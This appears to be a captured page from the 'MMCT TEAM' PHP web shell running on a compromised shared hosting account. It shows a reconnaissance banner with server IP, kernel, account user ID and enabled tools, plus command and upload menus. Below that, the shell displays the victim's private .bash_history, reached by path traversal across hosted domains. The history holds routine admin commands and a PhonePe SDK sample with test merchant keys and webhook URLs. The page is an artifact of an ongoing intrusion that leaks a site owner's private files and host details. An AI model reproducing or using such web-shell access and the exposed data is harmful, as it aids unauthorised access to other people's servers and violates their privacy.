MMCT TEAM
Server IP : 2a02:4780:11:1361:0:bf7:7935:10  /  Your IP : 3.143.242.169
Web Server : LiteSpeed
System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u200767797 ( 200767797)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0710) :  /home/u200767797/domains/drusonpharma.com/../vcafamilysalon.com/../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u200767797/domains/drusonpharma.com/../vcafamilysalon.com/../../.bash_history
/opt/alt/php81/etc/
ls
cd /opt/alt/php81/etc/
ls
php.ini
cd php.ini
sudo nano /opt/alt/php81/link/conf/alt_php.ini
cd /opt/alt/php81/link/conf/
ls
cd ..
ls
cd ..
ls
cd etc
ls
nano php.ini
cd domains
cd theroyaleroute.com
cd public_html
ls
composer require imlolman/phonepe-php-sdk
<?php
require 'vendor/autoload.php';
use PhonePe\PhonePe;
// Below are the Test Details for Standard Checkout UAT, you can get your own from PhonePe Team. Make sure to keep the Salt Key and Salt Index safe (in environment variables or .env file).
$phonepe = PhonePe::init(
    "MERCHANTUAT", // Merchant ID
    "MUID123", // Merchant User ID
    "099eb0cd-02cf-4e2a-8aca-3e6c6aff0399", // Salt Key
    "1", // Salt Index
    "https://webhook.site/f7b80fd4-dc89-49a5-b569-d9d0a10b19c8", // Redirect URL, can be defined on per transaction basis
    "https://webhook.site/f7b80fd4-dc89-49a5-b569-d9d0a10b19c8", // Callback URL, can be defined on per transaction basis
    "DEV" // or "PROD"
);
$amountInPaisa = 100; // Amount in Paisa
$userMobile = "9999999999"; // User Mobile Number
$transactionID = "MERCHANT".rand(100000, 999999); // Transaction ID to track and identify the transaction, make sure to save this in your database.
$redirectURL = $phonepe->standardCheckout()->createTransaction($amountInPaisa, $userMobile, $transactionID)->getTransactionURL();
// You can also define the redirect and callback URL on per transaction basis
// $redirectURL = $phonepe->standardCheckout()->createTransaction($amountInPaisa, $userMobile, $transactionID, "https://webhook.site/f7b80fd4-dc89-49a5-b569-d9d0a10b19c8", "https://webhook.site/f7b80fd4-dc89-49a5-b569-d9d0a10b19c8")->getTransactionURL();
echo "Redirect URL: ".$redirectURL.PHP_EOL;
cd public_html
ls
cd ..
ls
cd domains
ls
cd theroyaleroute.com
ls
cd public_html
ls
composer require dwivedianuj9118/phonepe-payment-gateway dev-main
cd domains
cd theroyaleroute.com
cd public_html
ls
composer require --prefer-source phonepe/phonepe-pg-php-sdk
cd domains/theroyaleroute.com
cd public_html
composer require --prefer-source phonepe/phonepe-pg-php-sdk

MMCT - 2023